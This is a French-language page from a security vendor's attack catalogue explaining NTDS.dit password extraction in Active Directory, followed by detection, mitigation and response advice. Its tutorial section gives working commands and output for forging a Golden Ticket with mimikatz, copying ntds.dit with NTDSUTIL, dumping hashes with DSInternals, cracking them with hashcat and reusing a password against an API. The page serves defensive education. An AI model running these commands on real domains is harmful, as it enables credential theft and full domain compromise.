Magic Quadrant™ pour la gestion des accès privilégiés 2025 : Netwrix reconnue pour la quatrième année consécutive. Téléchargez le rapport.

Plateforme
Glossaire de la cybersécuritéCatalogue d'attaques
Attaque d'extraction de mot de passe NTDS.dit

Attaque d'extraction de mot de passe NTDS.dit

Toutes les données dans Active Directory sont stockées dans le fichier ntds.dit (« le dit ») sur chaque contrôleur de domaine (dans C:\Windows\NTDS\ par défaut). Les attaquants peuvent utiliser les hachages de mots de passe directement à partir du dit pour avancer leurs objectifs. Casser les mots de passe des utilisateurs est bénéfique même si un adversaire a déjà obtenu la domination du domaine, car les utilisateurs réutilisent fréquemment les mots de passe à travers les systèmes et applications joints au domaine et non joints au domaine.

Pour accéder au fichier ntds.dit sur un contrôleur de domaine, un adversaire doit déjà avoir obtenu un accès administrateur à Active Directory. Alternativement, un adversaire pourrait compromettre la solution de sauvegarde d'entreprise responsable de la sauvegarde des contrôleurs de domaine et copier ntds.dit à partir d'une sauvegarde. La plupart des organisations ne font pas tourner fréquemment le secret krbtgt (voir l'attaque Golden Ticket) donc même les sauvegardes plus anciennes peuvent être utiles.

Résumé des menaces

Cible : Active Directory

Outils : DSInternals, ntdsxtract, PowerSploit, mimikatz

Tactique ATT&CK® : Accès aux identifiants

Technique ATT&CK : T1003.003

Difficulté

Détection : Moyenne

Atténuation : Moyenne

Réponse : Difficile

Tutoriel d'attaque : Comment fonctionne l'extraction de mot de passe NTDS.dit

ÉTAPE 1 : Obtenez les privilèges requis

Un adversaire doit posséder l'accès au système de fichiers d'un contrôleur de domaine avant de pouvoir extraire ntds.dit. Comme cette exigence fait de l'extraction de ntds.dit une attaque de stade avancé, un adversaire pourrait utiliser un hash de mot de passe précédemment compromis pour le compte ordinateur d'un contrôleur de domaine afin de créer un Silver Ticket.
Dans l'exemple ci-dessous, l'adversaire utilise mimikatz pour accéder au système de fichiers d'un contrôleur de domaine via un Golden Ticket.

      PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"

User: FakeUser1

Domain: domain.com (DOMAIN)

SID: S-1-5-21-441320023-234525631-506766575

User Id: 0

Groups Id : *513 512 520 518 519

ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt

Service: HOST

Target: DC1.domain.com

Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28

-> Ticket : ** Pass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session

mimikatz # misc::cmd

Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320

# A new command prompt window opens

C:\Windows\System32>
      

ÉTAPE 2 : Exfiltrer ntds.dit

Avec un accès au système de fichiers d'un contrôleur de domaine, l'adversaire peut exfiltrer le fichier ntds.dit ainsi que la ruche de registre HKEY_LOCAL_MACHINE\SYSTEM, nécessaire pour obtenir la Boot Key afin de déchiffrer ntds.dit.

Notez que pendant qu'Active Directory est en fonctionnement, il maintient un verrouillage du système de fichiers sur le fichier ntds.dit, donc les tentatives de copie échoueront. Les adversaires ont plusieurs méthodes pour contourner cette contrainte ; en particulier, ils peuvent :

  • Arrêtez simplement Active Directory (bien que cela risque d'être détecté).
  • Utilisez le service Volume Shadow Copy (VSS) pour créer un instantané du volume et extraire ntds.dit de l'instantané.
  • Utilisez un outil PowerShell tel que PowerSploit’s Invoke-NinjaCopy pour copier les fichiers même s'ils sont en cours d'utilisation.
  • Utilisez un outil intégré comme DSDBUtil.exe ou NTDSUtil.exe pour créer des fichiers de support d'installation d'Active Directory.
      PS> .\PSExec.exe \\dc1.domain.com cmd

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339]

(c) 2018 Microsoft Corporation. All rights reserved.

DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"

NTDSUTIL: Activate Instance NTDS

Active instance set to "NTDS".

NTDSUTIL: IFM

ifm: Create Full S:\Files

Creating snapshot...

Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\

Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit

Target Database: S:\Files\Active Directory\ntds.dit

DefragmentationStatus (Complete)

0102030405060708090100

|----|----|----|----|----|----|----|----|----|----|

...................................................

Copying registry files...

Copying S:\Files\registry\SYSTEM

Copying S:\Files\registry\SECURITY

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.

IFM media created successfully in S:\Files

ifm: q

NTDSUTIL: q

DC1 > Copy S:\Files \\wks2\Share



      

ÉTAPE 3 : Extraire les hachages de mot de passe

Une fois que l'adversaire a exfiltré le fichier ntds.dit et la ruche du registre HKLM\SYSTEM, il n'a plus besoin d'accéder au réseau de l'organisation. Un adversaire intéressé par le craquage des mots de passe voudra souvent lancer une attaque par force brute avec un ordinateur optimisé à cet effet, mais d'abord, il devra extraire les hachages de ntds.dit. Le module PowerShell DSInternals fournit les cmdlets Get-BootKey et Get-ADDBAccount à cette fin.

      $Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM

Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |

Format-Custom -View HashcatNT |

Out-File C:\Hashdump.txt

PS> Get-Content C:\Hashdump.txt

f8ae01fc52f45dda7baf7a67721665f1

eed224b4784bb040aab50b8856fe9f02

# --- Output Truncated --- #
      

ÉTAPE 4 : Utilisez les hachages de mot de passe pour atteindre d'autres objectifs

L'adversaire peut maintenant utiliser les hachages de mot de passe dans des attaques de type pass-the-hash au sein de l'environnement (peut-être comme moyen de persistance). Plus probablement, ils chercheront à craquer ces mots de passe pour les utiliser dans des attaques de remplissage d'identifiants contre des systèmes non joints à un domaine. Dans cet exemple, l'adversaire craque les hachages pour obtenir des mots de passe en clair et les utilise pour s'authentifier à l'API d'une application SaaS.

      PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1

Session..........: hashcat

Status...........: Running

Hash.Name........: NTLM

Hash.Target......: .\Hashdump.txt

Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)

Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)

Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]

Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1

Recovered........: 1/41 (2.44%) Digests

Progress.........: 189030831226880/218340105584896 (86.58%)

Rejected.........: 0/189030831226880 (0.00%)

Restore.Point....: 793149440/916132832 (86.58%)

Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256

Candidates.#1....: TNAZRwMl -> FYNkI2Jx

Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt

852e811a65d732c83214b4ff705d777a:F8qN47F1

PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API

PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked

PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt

PS>$Object = New-Object -TypeName psobject

PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username

PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password

PS>$url = "https://service.url/api/login"

PS>$body = $Object | ConvertTo-Json

PS>$Header = @{ "accept" = "text/json"}

PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"

PS>$Headers = @{ 'Authorization' = "Bearer $Response" }

PS>$url = "https://service.url/api/DoThings"

PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers

PS>$Response

{ "statusCode": 200, "statusMessage": "Things Done!" }
      

Détecter, Atténuer et Répondre

Détecter

Difficulté : Moyenne

Les tentatives d'accès à ntds.dit peuvent être détectées en utilisant le journal des événements Windows. Les ID d'événement 4663 et 4656 de la sous-catégorie Audit File System peuvent être utilisés pour auditer l'accès au système de fichiers. Utilisez ces événements pour surveiller les tentatives de lecture ou de modification de ntds.dit, régulières et celles de Volume Shadow Copy.

Atténuer

Difficulté : Moyenne

Pour atténuer le risque d'extraction de mots de passe à partir de ntds.dit, utilisez les meilleures pratiques suivantes pour aider à garantir que les adversaires n'obtiennent pas les privilèges nécessaires pour compromettre les contrôleurs de domaine en premier lieu :

  • Effectuez régulièrement un audit de l'accès administratif à Active Directory, y compris les droits de stratégie de groupe et la configuration d'audit pour les connexions aux contrôleurs de domaine.
  • Suivez rigoureusement le principe de la clean source principle pour les contrôleurs de domaine : Toute l'infrastructure (par exemple, ESX et le stockage associé) sur laquelle résident les contrôleurs de domaine ou les applications qui servent les contrôleurs de domaine (telles que les solutions de sauvegarde) doivent fonctionner au même niveau de sécurité que les contrôleurs de domaine eux-mêmes.
  • Assurez la sécurité physique des machines contrôleurs de domaine. Si la sécurité physique ne peut être garantie, envisagez d'utiliser des contrôleurs de domaine en lecture seule pour limiter l'exposition des mots de passe.
  • Ne permettez pas aux utilisateurs de posséder des privilèges administratifs à travers les frontières de sécurité. Par exemple, un adversaire qui compromet initialement un poste de travail ne devrait pas être capable d'escalader les privilèges pour passer d'un poste de travail à un serveur ou contrôleur de domaine.

Répondez

Difficulté : Difficile

Si un compromis du fichier ntds.dit est suspecté, il faut également supposer un compromis total de Active Directory ; en particulier, supposez que le secret krbtgt a également été compromis. Prenez les mesures suivantes :

  • Activez le processus de réponse aux incidents et alertez l'équipe de réponse. La récupération après un compromis total de Active Directory nécessite une planification et des efforts importants.

Partager sur

Voir les attaques de cybersécurité associées

Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense

Modification de AdminSDHolder – Fonctionnement et stratégies de défense

Attaque AS-REP Roasting - Fonctionnement et stratégies de défense

Attaque Hafnium - Fonctionnement et stratégies de défense

Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory

Attaque des comptes de service gérés par groupe

Attaque Golden SAML

Comprendre les attaques Golden Ticket

Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense

Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention

Attaque Kerberoasting – Fonctionnement et stratégies de défense

Attaque Pass the Hash

Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense

Attaque par pulvérisation de mots de passe

Attaque d'extraction de mot de passe en clair

Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation

Attaques de rançongiciels sur Active Directory

Déverrouillage d'Active Directory avec l'attaque Skeleton Key

Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions

Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir

Pourquoi PowerShell est-il si populaire auprès des attaquants ?

4 attaques de compte de service et comment s'en protéger

Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise

Qu'est-ce que le Credential Stuffing ?

Compromettre SQL Server avec PowerUpSQL

Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles

Vol de credentials avec un fournisseur de support de sécurité (SSP)

Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre

Reconnaissance LDAP

Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie

Attaque Silver Ticket